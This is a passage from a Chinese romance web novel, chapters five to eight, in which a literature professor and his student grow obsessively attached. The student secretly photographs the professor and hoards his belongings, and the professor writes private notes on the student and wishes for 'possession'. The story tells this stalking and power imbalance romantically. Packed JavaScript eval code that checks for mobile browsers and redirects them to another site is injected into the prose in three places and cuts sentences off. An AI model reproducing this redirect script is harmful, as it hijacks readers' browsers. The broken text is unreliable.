那种明明很想靠近,却只敢远远看着的姿态。 谢砚放下平板,走到窗前。 窗外夜色已深,远处图书馆的灯还亮着。四楼古典文献区的窗户,隐约能看到几个人影。 陆知许会在那里吗? 现在还在吗? 谢砚发现自己又在猜测。 这很危险。 他知道。 但好奇心一旦被勾起,就很难再压下去。 他想知道陆知许到底在想什么。想知道那些偷拍的照片背后,藏着怎样的心理。想知道那个温顺乖巧的表象之下,是不是还有另一个陆知许。 一个更真实、更……有趣的陆知许。 谢砚回到沙发前,拿起手机,点开陆知许的对话框。 聊天记录还停留在昨晚的“晚安”。 他盯着屏幕看了几秒,然后打字: “论文构想准备得怎么样了?” 发送。 很公事公办的问题。 但谢砚知道,自己是在找借口。 找一个可以正大光明联系陆知许的借口。 很快,回复来了: “还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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知道师生之间应该保持距离,知道过度关注某个学生是不专业的,知道这一切都可能发展成麻烦。 但他还是忍不住。 就像现在,他已经开始期待明天的下午三点。 期待看到陆知许带着问题来找他的样子。 期待那双湿漉漉的眼睛专注地看着他,期待那对总是泛红的耳朵,期待那些小心翼翼又充满热忱的提问。 谢砚闭上眼睛,轻轻叹了口气。 他知道自己不对劲。 但他暂时不想纠正。 --- 图书馆四楼,陆知许收到谢砚消息的时候,整个人都精神了。 原本的疲惫和低落一扫而空,取而代之的是雀跃的期待。 明天下午三点。 又能见到谢砚了。 他立刻收拾东西,抱起书本和笔记本,快步离开图书馆。 回宿舍的路上,脚步轻快得几乎要跳起来。 路过教师公寓区时,他下意识地抬头看了一眼。 3号楼502室的窗户亮着灯。 暖黄色的光,在夜色中显得格外温暖。 陆知许停下脚步,看了很久。 然后他拿出手机,拍了一张照片。 模糊的,遥远的,只是一扇亮着灯的窗户。 但他还是把它存进了加密相册,文件夹命名为【他的夜晚】。 然后他继续往前走,嘴角带着笑。 明天。 还有不到二十四小时。 这个念头支撑着他,像黑夜里的灯塔,指引着方向。 回到宿舍,室友们正在打游戏,声音嘈杂。 但陆知许毫不在意,他甚至哼起了歌——很轻,几乎听不见。 “老陆,心情很好啊?”陈宇从游戏里抬起头,挑眉看他。 “嗯。”陆知许笑着点头,“明天要去找教授讨论论文。” “又是谢教授?”李锐也凑过来,“你这学期跟谢教授走得很近啊。” “他是我的课代表嘛。”张子轩插话,“不过老陆,说真的,谢教授对你好像特别照顾?” 陆知许的心脏漏了一拍,但表面依然平静:“有吗?可能就是老师对学生的正常关心吧。” “正常关心会单独给你开小灶?”陈宇摸着下巴,“我听说谢教授可高冷了,平时都不怎么跟学生私下接触的。” “那是你们不了解教授。”陆知许说,语气里不自觉带上了维护的意味,“他其实很关心学生的,只是不善于表达。” 三个室友对视一眼,眼神里都写着“有情况”。 但陆知许已经转身去洗漱了,没看见他们的表情。 浴室里,陆知许看着镜子里的自己。 脸颊因为兴奋而泛着红晕,眼睛亮晶晶的,嘴角始终上扬。 他伸手摸了摸自己的脸,然后凑近镜子,仔细检查——有没有黑眼圈?皮肤状态好不好?明天要穿什么衣服?头发要不要再剪短一点? 一个个问题冒出来,他一个个思考。 像准备赴一场重要的约会。 虽然他知道,那只是一场普通的师生讨论。 但对他来说,每一次见谢砚,都是重要的。 非常重要。 洗漱完毕,陆知许爬上床,却没有立刻睡觉。 他拿出手机,点开加密相册,开始整理今天的“收获”。 咖啡厅的照片(通过玻璃反光拍的,很模糊,但他还是存了)。 教师公寓窗户的照片(今晚拍的,灯光温暖)。 还有谢砚发来的那条消息的截图——“明天下午三点,办公室。带问题来。” 他把这张截图单独存到一个文件夹里,命名为【他说】。 里面已经存了十几张截图了,都是谢砚发给他的消息。从最初的公事公办,到后来的“早点休息”,再到今天的约定。 每一张,陆知许都反复看过很多遍。 每一句,他都记得清清楚楚。 整理完这些,陆知许才满足地放下手机,躺进被子里。 枕头下,那枚钢笔笔帽硌着他的脸颊。 他伸手把它拿出来,握在手心。 金属在掌心里慢慢变暖,像有了生命。 陆知许闭上眼睛,在心里默念: 明天下午三点。 还有十八个小时。 他数着时间,慢慢入睡。 嘴角带着笑,梦里都是暖黄色的灯光,和那个人温柔的声音。 6. 第六章 周六下午两点五十,陆知许站在教师办公楼五楼的走廊里。 他今天特意提前了十分钟到——既不能太早显得急切,也不能太晚显得不尊重。这个时间点刚刚好,可以整理一下呼吸,平复一下心跳。 但他失败了。 从昨晚收到谢砚的消息开始,他的心跳就一直没有恢复正常频率。像有只小兔子在胸腔里横冲直撞,撞得他整夜没睡好,今早起来眼下还挂着淡淡的青黑。 他用了一点遮瑕膏(室友的,他从来没有过这种东西),又仔细搭配了衣服——浅灰色的针织衫,白色衬衫打底,黑色长裤。颜色搭配和谢砚平时的风格很像,但又不完全一样,不会显得刻意模仿。 头发也仔细打理过,柔软蓬松,额前的碎发自然地垂下来,遮住了一点额头。 陆知许对着走廊尽头窗户玻璃的反光,最后检查了一遍自己的样子。 还行。 看起来干净清爽,像个认真好学的学生。 他深吸一口气,走到502室门口。 抬手,敲门。 “请进。” 谢砚的声音从门内传来,比前几天清亮了一些,感冒似乎已经好了。 陆知许推门进去。 办公室里开着空调,温度适宜。谢砚坐在办公桌后,今天穿了一件深蓝色的衬衫,袖子挽到手肘,露出线条流畅的小臂。他正在看一份文件,听到开门声抬起头。 “教授。”陆知许小声打招呼,耳尖已经开始泛红。 “坐。”谢砚指了指对面的椅子,然后把文件放到一边,“带问题来了?” “嗯。”陆知许从书包里拿出笔记本和那份谢砚给的文件,在椅子上坐下,背挺得笔直。 他的笔记本很厚,是那种活页的,方便随时增减内容。此刻翻开的那一页,密密麻麻写满了问题和思考,字迹工整清晰,像印刷体。 谢砚接过笔记本,翻看着。 问题确实很多,也很深入。从《红楼梦》的叙事视角,到《金瓶梅》的欲望书写,再到明清小说中女性形象的演变……每一个问题后面都附有陆知许自己的思考,有些还引用了不同学者的观点进行比较。 很认真。 认真到超出了一个大三学生的正常水平。 “这些是你自己想的?”谢砚抬眸看他。 陆知许点头:“我查了一些资料,但有些地方还是不太明白……” “比如这里。”谢砚的手指点在笔记本的一行字上,“你说‘脂砚斋的批注暗示了曹雪芹对叙事权威的自觉解构’,这个观点很新,从哪里来的?” 陆知许的心脏跳快了一拍。 这个观点其实是他自己的,但他不敢说。 “我……我看了一篇论文,”他含糊地说,“不记得作者了……” 谢砚看着他闪烁的眼神,没有追问。 “这个角度很有意思。”他说,拿起钢笔,在陆知许的笔记本旁边空白处开始写字,“但要论证这个观点,你需要更多的文本证据。比如这里,第二十七回脂砚斋的批注……” 他一边说一边写,字迹流畅优美。 陆知许的视线完全被那只手吸引了。 握笔的手指修长有力,指节微微凸起,随着书写的动作轻轻起伏。手腕处的腕骨清晰可见,皮肤很白,能看见淡青色的血管。 阳光从侧面照进来,给那只手镀上了一层柔和的金边。 陆知许看得有些出神。 “听懂了吗?”谢砚突然问。 “啊?”陆知许猛地回过神,脸颊瞬间涨红,“对、对不起教授,我……” “走神了?”谢砚的语气很平静,听不出情绪。 “我……”陆知许羞愧得想钻到桌子底下。 但谢砚没有生气,反而轻轻笑了一声:“看来我讲得还是不够吸引人。” “不是的!”陆知许急忙否认,“是我自己的问题,我总是……” “总是看着我的手走神?”谢砚打断他,语气里带着一丝若有似无的调侃。 陆知许僵住了。 血液好像一下子冲上了头顶,然后又迅速退去,留下冰凉的麻木感。他张了张嘴,却发不出任何声音,只能呆呆地看着谢砚,眼睛因为惊恐而睁得很大。 他知道了。 谢砚知道他在看他的手。 这个认知像一盆冷水,从头顶浇下来,浇得他浑身冰凉。 “我……”陆知许的声音在颤抖,“教授,对不起,我不是……” “不用道歉。”谢砚放下笔,向后靠进椅背,双手交叠放在膝盖上,“我只是好奇,我的手有什么特别的地方吗?让你这么……专注。” 他的语气很平静,像是在讨论一个学术问题。 但陆知许却觉得,那双深褐色的眼睛正在审视他,像解剖刀一样锋利,要把他层层剖开,看看里面到底藏着什么。 “我……”陆知许的指尖在桌下紧紧攥住裤腿,指节泛白,“我只是觉得……教授的手很……好看。” 最后两个字说得很轻,轻得像羽毛落地。 说完他就后悔了。 太直接了。 太冒犯了。 他应该找别的借口,应该否认,应该转移话题。 但他说了实话。 因为他确实觉得谢砚的手很好看,好看得让他移不开眼睛,好看得让他想偷偷拍下来,存进手机里,每天晚上睡前看一遍。 办公室里安静了几秒。 空调运转的嗡鸣声,窗外隐约的车流声,还有自己剧烈的心跳声——陆知许能听见所有的声音,混合在一起,像一首混乱的交响乐。 然后他听见谢砚说: “是吗。” 很平淡的两个字,听不出喜怒。 陆知许不敢抬头,只能死死盯着桌面上的木纹,仿佛要把那些纹路刻进眼睛里。 “抬起头。”谢砚说。 陆知许僵硬地照做。 谢砚正看着他,眼神很深,像不见底的潭水。他的脸上没有什么表情,但陆知许能感觉到,那双眼睛里有什么东西在流动,很慢,很沉。 “手而已。”谢砚说,伸出手,掌心向上,摊在桌面上,“很普通。” 陆知许的视线不受控制地落在那只手上。 骨节分明,手指修长,掌心纹路清晰。虎口处有一颗很小的痣,浅浅的褐色,在白皙的皮肤上格外显眼。 一点也不普通。 对陆知许来说,这只手比世界上任何艺术品都要美。 但他不敢说。 只能沉默。 谢砚看了他一会儿,然后收回手,重新拿起钢笔。 “继续吧。”他说,语气恢复了平时的平静,“刚才讲到哪儿了?” 陆知许愣愣地看着他,大脑一片空白。 谢砚就这么……放过他了? 没有追问,没有指责,甚至没有表现出任何异常。 就像刚才那场危险的对话从未发生过。 “第二十七回……”谢砚提醒他。 “啊,对。”陆知许赶紧回过神,强迫自己集中注意力,“第二十七回,脂砚斋的批注……” 接下来的一个小时,陆知许努力让自己专注于学术讨论。 但他失败了。 谢砚的手就像磁铁一样,牢牢吸引着他的视线。每一次谢砚翻页,每一次谢砚写字,每一次谢砚用手指点着书页上的某一行字……陆知许的目光都会不受控制地跟过去。 而谢砚似乎注意到了,又似乎没有。 他继续讲课,继续分析,继续在陆知许的笔记本上写下密密麻麻的批注。 偶尔,他会停下来,问:“懂了吗?” 陆知许就点头,说:“懂了。” 但其实他只听进去了一半。 另一半的注意力,都在那只手上。 --- 下午四点,讨论告一段落。 谢砚把笔记本推还给陆知许:“今天先到这里。你提的问题很有深度,但还需要更系统的梳理。” “谢谢教授。”陆知许接过笔记本,指尖不可避免地碰到了谢砚的手指。 温热的触感。 他像被烫到一样缩回手,耳尖又红了。 谢砚看着他慌乱的样子,嘴角几不可察地弯了弯。 “下周六同一时间,继续。”他说,“这周你把这些问题整理成一个大纲,下次带来。” “好的。”陆知许点头,开始收拾东西。 他的动作很慢,像是在拖延时间,舍不得离开。 谢砚没有催他,只是坐在那里,静静地看着。 等陆知许收拾好书包,站起身时,谢砚突然开口: “对了。” 陆知许停下动作,看向他。 “保温杯。”谢砚指了指书桌角落那个银色的保温杯,“洗过了,你可以带回去。” 陆知许这才想起来,那个杯子还在谢砚这里。 他走过去,拿起杯子。 金属外壳凉凉的,但陆知许握在手里,却觉得掌心发烫。 “谢谢教授……”他小声说,把杯子装进书包。 “不用谢。”谢砚说,“咖啡很好喝。” 陆知许的心脏又漏了一拍。 他抬头看向谢砚,想说点什么,但对上那双深褐色的眼睛时,又什么都说不出来了。 最终他只是说:“那我先走了,教授。” “嗯。”谢砚点头,“路上小心。” 陆知许走出办公室,轻轻关上门。 走廊里很安静,只有他的脚步声。 他靠在墙壁上,长长地吐出一口气。 后背已经湿透了,衬衫黏在皮肤上,很不舒服。 刚才那一个小时,像坐过山车一样。从紧张,到恐慌,再到最后的……说不清道不明的暧昧。 谢砚知道他在看他的手。 知道,但没有生气,反而问他“我的手有什么特别”。 这算什么? 试探?还是……别的什么? 陆知许不敢想。 他怕自己想多了,又怕自己想少了。 矛盾的情绪在胸腔里冲撞,撞得他心口发闷。 他慢慢走下楼梯,每一步都踩得很实,像是在确认自己还活着。 走到一楼大厅时,手机震动了一下。 是谢砚的消息: “下周见。” 只有三个字。 陆知许盯着那三个字看了很久,然后回复: “下周见,教授。” 发送。 他把手机按在胸口,感觉到心脏在那里疯狂跳动。 保温杯在书包里,随着走路的动作轻轻碰撞着课本,发出细微的声响。 陆知许走出办公楼,下午四点半的阳光还很热烈,照在身上暖洋洋的。 但他心里却是一片混乱。 --- 办公室里,谢砚坐在椅子上,没有动。 他低头看着自己的手,摊开,又握紧。 “好看吗……”他低声重复着陆知许刚才的话,嘴角勾起一个很浅的弧度。 然后他拿起手机,点开加密相册,找到“陆”文件夹。 今天该添加新内容了。 他新建了一个文档,开始打字: 9月13日,周六,晴。 课后辅导,一小时。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301340|198640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他带了很多问题,很认真,但注意力不集中。 原因:他在看我的手。 我问他为什么,他说“教授的手很好看”。 说完耳朵红透了,像要滴血。 很诚实的回答。 也很……可爱。 写到这里,谢砚停顿了一下。 他想起了陆知许惊慌失措的样子,那双湿漉漉的眼睛睁得很大,像受惊的小鹿。 明明怕得要死,却还是说了实话。 这种矛盾的表现,让谢砚觉得……很有趣。 他继续打字: 没有责备他,也没有追问。 他的反应:先是惊恐,然后是困惑,最后是如释重负(但依然紧张)。 离开时动作很慢,像是在拖延时间。 我让他把保温杯带回去,他说谢谢,眼睛亮了一下。 发消息说“下周见”,他很快回复了。 打完这些字,谢砚放下手机,靠在椅背上。 窗外夕阳西下,橘色的光透过窗户洒进来,给整个办公室镀上了一层温暖的颜色。 谢砚闭上眼睛,脑海里浮现出陆知许的样子。 浅灰色的针织衫,柔软的黑发,总是泛红的耳尖,还有那双看着他时总是亮晶晶的眼睛。 很干净的长相。 很温顺的性格。 但内在……似乎不那么简单。 至少,一个普通学生不会那样专注地看老师的手,不会那样诚实地承认“好看”,不会在离开时那样明显地拖延时间。 谢砚睁开眼睛,看向自己的手。 他从来不知道自己的手有什么特别的。 但陆知许说好看。 而且看得很专注,很认真,像在欣赏什么艺术品。 这个认知让谢砚心里产生了一种奇异的感觉——不是厌恶,不是反感,而是一种……被关注、被珍视的满足感。 他知道这不应该。 知道老师不应该从学生的关注中获得满足。 但他控制不了。 就像现在,他已经开始期待下周六的课后辅导了。 期待看到陆知许带着新问题来找他的样子。 期待那双眼睛再次专注地看着他的手,期待那对耳朵再次泛红,期待那些小心翼翼的、充满热忱的提问。 谢砚轻轻叹了口气。 他知道自己在往危险的方向走。 但他暂时不想回头。 --- 陆知许回到宿舍时,室友们都不在。 他放下书包,第一件事就是把那个保温杯拿出来,仔细清洗。 水龙头流出的冷水冲在手上,很凉,但陆知许却觉得掌心依然发烫——那是刚才碰触到谢砚手指的地方。 虽然只是很短的一瞬间,但那个触感却清晰地印在了记忆里。 温热的,干燥的,带着一点钢笔墨水的味道。 陆知许把洗干净的杯子擦干,放在书桌上。 银色的金属外壳在阳光下闪闪发光。 他看着杯子,想起了谢砚今天说的那句话: “咖啡很好喝。” 简单的一句话,却让陆知许开心了一整天。 他拿出手机,点开加密相册,开始整理今天的“收获”。 没有照片(今天太紧张,忘了拍),但有详细的文字记录: 9月13日,15:00-16:00,办公室502。 他穿深蓝色衬衫,袖口挽起。感冒好了,声音清亮。 讨论论文问题,我很紧张,注意力不集中(因为看他的手)。 他发现了,问我为什么看他的手。 我说“好看”。 他没有生气。 继续讲课,像什么都没发生过。 离开时他让我带保温杯回来。 他说“咖啡很好喝”。 他说“下周见”。 写完这些,陆知许盯着最后三个字看了很久。 “下周见”。 像一句约定。 虽然可能只是客套话,但陆知许还是把它当成了约定。 他打开日历,在9月20日那一格画了个圈,旁边写上:下午三点,办公室,第二次辅导。 还有七天。 陆知许数着日子,嘴角不自觉地扬起。 然后他想起了今天最危险的那个瞬间——谢砚问他为什么看他的手。 当时他真的以为自己要完蛋了。 以为谢砚会生气,会责备,会觉得他是个变态。 但谢砚没有。 反而很平静地接受了,甚至……似乎还有点……愉悦? 陆知许不确定是不是自己的错觉。 他趴在桌子上,把脸埋进臂弯里。 脑子里乱糟糟的,各种念头交织在一起:谢砚的眼神,谢砚的语气,谢砚的手,谢砚说的每一句话…… 最后定格在谢砚问他“我的手有什么特别的地方吗”时的样子。 深褐色的眼睛专注地看着他,像要看进他心里去。 陆知许当时差点就说实话了。 差点就说:特别,因为那是你的手。因为我想碰碰它,想握住它,想把它存进手机里,每天看一百遍。 但他忍住了。 只说了“好看”。 已经够大胆了。 够冒险了。 陆知许抬起头,看向窗外。 夕阳已经完全沉下去了,天边只剩下一抹淡淡的橘红。 夜幕即将降临。 但他心里却亮着一盏灯。 一盏名为“下周见”的灯。 照亮了接下来七天的等待。 7. 第七章 周六下午两点四十五分,陆知许站在教师办公楼五楼的走廊里。 他的手心里全是汗。 这一周过得像做梦一样,漫长又短暂。每天他都在数日子,从周一开始,一天一天地数,终于数到了周六。 而此刻,他站在这里,离那扇门只有十步的距离。 心跳快得像要炸开。 陆知许低头检查自己的衣着——白色衬衫,浅灰色针织开衫,黑色长裤。很普通的搭配,但他今天特意选了质地更好的衬衫,纽扣扣到最上面一颗,领口挺括,显得脖颈修长。 头发也仔细打理过,柔软蓬松,额前的碎发自然地垂下来,遮住了一点额头。 他还喷了一点香水——很淡的木质调,几乎闻不出来,但靠近了能隐约感觉到。 做完这一切,他又深呼吸了三次,才抬手敲门。 “请进。” 谢砚的声音从门内传来,比平时更低一些,带着一丝慵懒。 陆知许推门进去。 办公室里开着空调,温度适宜。谢砚今天没有坐在办公桌后,而是坐在靠窗的小沙发上。茶几上摆着一套茶具,还有一个小巧的白色瓷罐——茶叶罐。 他今天穿了一件深灰色的羊绒开衫,里面是浅蓝色的衬衫,领口解开了一颗纽扣,露出清晰的锁骨线条。袖子松松挽到手肘,露出线条流畅的小臂。 看到陆知许进来,他抬起头,嘴角勾起一个很浅的笑。 “来了?”他说,声音里带着一丝不易察觉的沙哑。 “教授。”陆知许小声打招呼,耳尖已经开始泛红。 他走到沙发前,没有立刻坐下,而是站在那里,有些局促。 “坐。”谢砚指了指对面的单人沙发,“别紧张。” 陆知许小心翼翼地坐下,背挺得笔直,双手规规矩矩地放在膝盖上。 茶几上除了茶具,还放着一个文件夹——是他的笔记本,还有他这周整理的大纲。 谢砚拿起那个文件夹,翻开,看了几眼,然后点头:“很认真。” 陆知许的心跳漏了一拍:“谢谢教授……” “不过,”谢砚合上文件夹,抬眸看他,“今天先不讨论这些。” 陆知许愣住了:“那……” “先喝茶。”谢砚说,拿起茶壶,开始泡茶。 他的动作很娴熟,热水冲下去,茶叶舒展,升起袅袅白烟。茶香在空气中弥漫开来,混合着办公室里淡淡的檀木香,有种让人放松的气息。 陆知许看着他泡茶的样子,一时间有些恍惚。 谢砚的手很稳,握住茶壶的手腕微微用力,能看见清晰的腕骨。他的手指修长,指尖因为热水的温度而微微泛红。 很美。 像一幅画。 “给。”谢砚把一杯茶推到他面前。 陆知许回过神,赶紧接过:“谢谢教授。” 他端起茶杯,浅浅抿了一口。 清香,微苦,回甘。 但比上次的龙井更醇厚,更……特别。 “这是什么茶?”他忍不住问。 “大红袍。”谢砚说,也端起一杯,轻轻吹了吹热气,“朋友从福建带回来的,说是那几棵母树旁边的。” 陆知许不懂茶,但听这个描述就知道很珍贵。 “这……太贵重了……”他小声说。 “茶就是要有人喝才有意义。”谢砚看着他,眼神很深,“一个人喝,再好的茶也没味道。” 陆知许的心脏狠狠跳了一下。 他不敢看谢砚的眼睛,只能低头盯着茶杯里漂浮的茶叶。 办公室里安静下来,只有茶水倒入杯中的细微声响。 窗外的阳光斜斜照进来,在茶几上投出温暖的光斑。空气中飘着茶香和檀木香,混合在一起,有种让人昏昏欲睡的安逸感。 陆知许慢慢放松下来,背也不再挺得那么直。 “这周睡得好吗?”谢砚突然问。 陆知许愣了一下,然后摇头:“还……还好。” “黑眼圈淡了一点。”谢砚说,目光落在他脸上,“但还是有。” 陆知许下意识地摸了摸眼下:“我……我会注意休息的。” “嗯。”谢砚点头,又给他添了点茶,“年轻也不能总熬夜。” 很普通的一句关心。 但陆知许却觉得,里面藏着别的意味。 他端起茶杯,又喝了一口。 茶很香,很暖。 暖到心里。 --- 接下来的一个小时,他们真的没有讨论学术问题。 谢砚问了他一些很普通的事:这周上了什么课,有没有参加什么活动,周末一般做什么…… 陆知许一一回答,声音很小,但很认真。 而谢砚就那样听着,偶尔点头,偶尔问一两个问题,偶尔……笑一笑。 那个笑很浅,但很真实。 不是礼貌性的微笑,是真正放松的、愉快的笑。 陆知许看着他的笑容,心脏又开始疯狂跳动。 他觉得自己像在做梦。 一个美好得不真实的梦。 梦里,谢砚坐在他对面,给他泡茶,对他笑,问他一些琐碎的问题。 梦里,他们之间的距离很近,近到他能闻到谢砚身上的味道——檀木香,混着一点淡淡的、像是某种沐浴露的清爽气息。 梦里,时间过得很慢,慢到每一秒都被拉长,像电影里的慢镜头。 但梦总会醒。 当墙上的时钟指向四点时,谢砚看了看时间,说:“差不多了。” 陆知许的心一沉。 “今天就这样吧。”谢砚说,站起身,“下周同一时间?” 陆知许也赶紧站起来:“好的教授。” 他收拾东西——其实没什么可收拾的,就一个笔记本和一个文件夹。 但动作很慢,像是在拖延时间。 谢砚没有催他,只是站在窗前,看着窗外。 等陆知许收拾好,走到门口时,谢砚突然开口: “等等。” 陆知许停下脚步,回头看他。 谢砚走过来,手里拿着那个白色瓷罐——茶叶罐。 “这个给你。”他说,把罐子递过来。 陆知许愣住了:“教授,这……” “茶叶而已。”谢砚说,语气很平淡,“我一个人喝不完。” “可是……”陆知许还想拒绝。 但谢砚已经把罐子塞到他手里了。 指尖不可避免地碰到了。 温热的触感,很短暂,但很清晰。 陆知许像被烫到一样,手指微微颤抖,但还是紧紧握住了那个瓷罐。 罐子很精致,白色釉面光滑温润,上面用青花绘着一枝梅花,很雅致。 “谢谢教授……”他小声说,耳尖红透了。 “不客气。”谢砚说,“下周见。” “下周见……” 陆知许抱着罐子,几乎是逃跑般地离开了办公室。 --- 走廊里,陆知许背靠着墙壁,大口喘着气。 他的心跳快得像要炸开,脸颊烫得厉害。 手里的瓷罐还残留着谢砚的体温,温温热热的,透过掌心传到心里。 茶叶罐。 谢砚给他的茶叶罐。 不是借,是给。 陆知许把罐子紧紧抱在怀里,像抱着什么稀世珍宝。 然后他快步走下楼梯,走出办公楼,一直走到校园里一个僻静的角落,才停下来。 他坐在长椅上,小心翼翼地把罐子放在膝盖上,打开盖子。 里面是大半罐茶叶,深褐色的叶片蜷曲着,散发着浓郁的茶香。 陆知许深深吸了一口气。 香。 很香。 他盖上盖子,把罐子抱在怀里,闭上眼睛。 脑海里又开始回放刚才的每一个细节: 谢砚泡茶的样子。 谢砚对他笑的样子。 谢砚把罐子塞到他手里的样子。 还有……指尖碰触的那一瞬间。 温热的,短暂的,却足以让他铭记很久。 陆知许在长椅上坐了很久,直到太阳开始西沉,才起身离开。 他没有回宿舍,而是直接去了地下室。 --- 收藏柜前,陆知许小心翼翼地打开玻璃门。 他把那个茶叶罐放在了最上层,和钢笔笔帽并排。 白色的瓷罐,银色的笔帽。 在黑色植绒布的衬托下,像两件艺术品。 陆知许后退两步,看着自己的收藏柜。 现在,这里面又多了一样东西:谢砚给的茶叶罐。 属于他的东西。 不,是谢砚给他的东西。 这个认知让陆知许心里涌起一股奇异的满足感——像是得到了某种许可,某种认可。 他拿出手机,对着柜子拍了几张照片。 然后他坐到小椅子上,打开那个带锁的笔记本,开始写今天的日记: 9月20日,周六,晴。 下午在办公室喝茶。 他泡了大红袍,很香,很珍贵。 他说“茶就是要有人喝才有意义,一个人喝,再好的茶也没味道”。 他没有和我讨论学术,只是聊天,问我的生活。 他对我笑,很真实的笑。 离开时他给了我茶叶罐,说是他一个人喝不完。 指尖碰到了,很短暂,但很清晰。 我把罐子放在了收藏柜里,和笔帽放在一起。 现在我有两样他的东西了。 写到这里,陆知许停顿了一下。 笔尖在纸面上悬了很久,然后继续写,字迹比之前更加用力: 我开始觉得,也许不是我一厢情愿。 也许他真的对我有特殊的感觉。 不然为什么要给我泡茶?为什么要和我聊天?为什么要送我茶叶? 可是…… 万一只是我想多了呢? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301341|198640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 万一他只是把我当一个好学生呢? 矛盾的情绪在胸腔里冲撞,撞得他心口发闷。 陆知许合上笔记本,重新锁好。 然后他走到柜子前,打开玻璃门,拿出那个茶叶罐。 他把罐子抱在怀里,坐在地板上,背靠着柜子。 地下室里很安静,只有他的呼吸声。 他闭上眼睛,把脸贴在冰凉的玻璃柜门上。 玻璃很凉,但他心里却很热。 热得发烫。 --- 同一时间,教师公寓。 谢砚站在书房的窗前,手里端着一杯茶。 茶已经凉了,但他没有喝,只是看着窗外渐沉的夜色。 脑海里反复回放着下午的场景。 陆知许抱着茶叶罐离开时的样子——耳尖红透,眼神慌乱,像只受惊的小兔子。 很可爱。 也很……让人想欺负。 谢砚想起自己把罐子塞到他手里时,指尖碰到的那一瞬间。 陆知许的手指很凉,微微颤抖。 但皮肤很软,很光滑。 像上好的丝绸。 谢砚闭上眼睛,深深吸了一口气。 他知道自己在玩火。 知道这样下去会失控。 但他停不下来。 就像现在,他已经开始期待下周六了。 期待看到陆知许抱着那个茶叶罐的样子,期待那双湿漉漉的眼睛再次专注地看着他,期待那对耳朵再次泛红。 期待……更多。 谢砚放下茶杯,走到书桌前,打开那个黑色笔记本。 翻到今天的那一页,开始写: 9月20日,周六,晴。 下午和他喝茶,大红袍。 没有讨论学术,只是聊天。 他很紧张,但慢慢放松下来。 眼睛很亮,笑起来很可爱。 离开时把茶叶罐给了他——说我一个人喝不完。 那是谎话。 我只是想给他点什么。 想看他收下时慌乱又开心的样子。 指尖碰到了,很短暂。 他的手很凉,很软。 写到这里,谢砚停顿了。 笔尖悬在纸面上方,久久没有落下。 他在犹豫要不要写下接下来的话。 最终,他还是写了: 我开始想要更多。 不只是喝茶,不只是聊天,不只是这种若即若离的暧昧。 我想要…… 更近的距离。 更真实的触碰。 更彻底的占有。 写完这句,谢砚猛地合上笔记本,像是害怕看见自己写下的文字。 他靠在椅背上,闭上眼睛,胸口微微起伏。 窗外的夜色已经完全降临。 房间里没有开灯,只有窗外的月光洒进来,在地上投出淡淡的银辉。 谢砚在黑暗中坐了很久,直到手机震动,才回过神来。 是陆知许的消息: “茶叶很好喝,谢谢教授。” 后面跟了一个乖巧的兔子表情。 谢砚盯着那个表情看了很久,然后回复: “喜欢就好。” 发送。 然后他又补充了一句: “下周见。” 发送。 很快,回复来了: “嗯!下周见!” 后面跟了一个开心的星星表情。 谢砚看着那个星星表情,嘴角慢慢扬起。 然后他放下手机,走到窗前。 窗外,夜色深沉。 但有些东西,正在黑暗中悄悄生长。 像藤蔓,缠绕着心脏,越缠越紧。 但谢砚不想挣脱。 他愿意被缠绕。 愿意沉沦。 愿意……等待那个彻底失控的时刻。 --- 宿舍里,陆知许抱着手机,盯着那两条消息看了很久。 “喜欢就好。” “下周见。” 简单的两句话,却让他开心得想笑。 他把手机按在胸口,整个人倒在床上,嘴角控制不住地上扬。 下周见。 还有七天。 陆知许数着日子,心里满满的期待。 期待下一次见面,期待下一次喝茶,期待下一次……指尖的碰触。 虽然只是很短暂的碰触,但他已经满足了。 至少,他碰到了。 碰到了谢砚的手。 碰到了谢砚的温度。 陆知许翻了个身,面向墙壁,把脸埋进枕头里。 枕头下,手机还亮着,显示着那两条消息。 而窗外,月亮已经升到了中天。 清冷的月光透过窗帘缝隙洒进来,落在少年微微颤抖的睫毛上。 像一场无声的祝福。 祝福这场暗恋,能有开花结果的那一天。 8. 第八章 周一早晨的《中国古代文学专题》课,陆知许像往常一样提前十分钟到教室。 他选了个中间靠窗的位置——既能清楚看到讲台,又不至于太显眼。笔记本摊开在桌上,钢笔放在右手边,一切都和往常一样。 但今天,他总觉得有些不安。 这种不安在谢砚走进教室时得到了证实。 谢砚今天穿了一件浅米色的针织衫,里面是白色的衬衫,领口挺括。他走上讲台,放下教案,目光习惯性地扫过全班。 当他的视线经过陆知许时,停顿了半秒。 很短暂的停顿,几乎可以忽略不计。 但陆知许捕捉到了。 他的心漏跳了一拍。 然后他看见,谢砚的目光移开了,移向了教室的另一边——第三排靠走廊的位置,坐着一位女学生。 陆知许认识她,中文系大四的林薇,以漂亮和成绩好闻名。她今天穿了一件浅粉色的连衣裙,长发披肩,看起来很温婉。 谢砚对着她点了点头,然后开始上课。 很正常的一个举动。 但陆知许却觉得,那个点头比平时要……温柔一些。 